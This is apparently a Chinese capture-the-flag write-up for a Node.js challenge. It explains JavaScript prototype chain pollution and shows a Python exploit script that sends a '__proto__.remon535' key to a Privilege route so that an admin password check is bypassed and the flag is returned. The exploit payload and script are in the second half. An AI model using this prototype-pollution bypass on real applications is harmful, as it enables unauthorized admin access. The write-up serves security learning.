下载题目源码,审计index.js,这里贴出关键代码
发现了几个路由,在DeveloperControlPanel中发现了用户的认证,flag关键字提示我们通过认证就能拿到flag,认证需要post key和password,最后会进行校验。继续往下看可以看到Privilege有NewAttributeKey和NewAttributeKey。所以考虑是js原型链污染。向Privilege post时会检查req.session.knight 是否为空。先访问SpawnPoint获得session
SpawnPoint-->Privilege-->DeveloperControlPanel
每一个proto都会指向上一级的prototype。当要使用或输出一个变量时:首先会在本层中搜索相应的变量,如果不存在的话,就会向上搜索,即在自己的父类中搜索,当父类中也没有时,就会向祖父类搜索,直到指向null,如果此时还没有搜索到,就会返回 undefined。
原型链污染就是通过能修改函数的proto属性去更改上级类。
给NewAttributeKey赋值为__proto__.remon535,再给key赋值为remon535,之后的判断就是Admin[‘remon535’] === password。
setFn(req.session.knight, key, value);执行后的结果是
req.session.knight的value被设置成了{ __proto__: { bb: value } }
使用json让__proto__被认为是一个键名
这样最后返回的就是我们一开始输入的NewAttributeValue的值。NewAttributeValue和password我们都能控制,让他们相同就能拿到flag
exp:
#!/usr/bin/python import requests session=requests.session() session.get("http://eci-2zeiat1sz4xzhrz3z41a.cloudeci1.ichunqiu.com:8888/SpawnPoint") url="http://eci-2zeiat1sz4xzhrz3z41a.cloudeci1.ichunqiu.com:8888/Privilege" json={"NewAttributeKey":"__proto__.remon535","NewAttributeValue":"abc"} session.post(url,json=json) url="http://eci-2zeiat1sz4xzhrz3z41a.cloudeci1.ichunqiu.com:8888/DeveloperControlPanel" json={"key":"remon535","password":"abc"} ret=session.post(url,json=json) print(ret.text)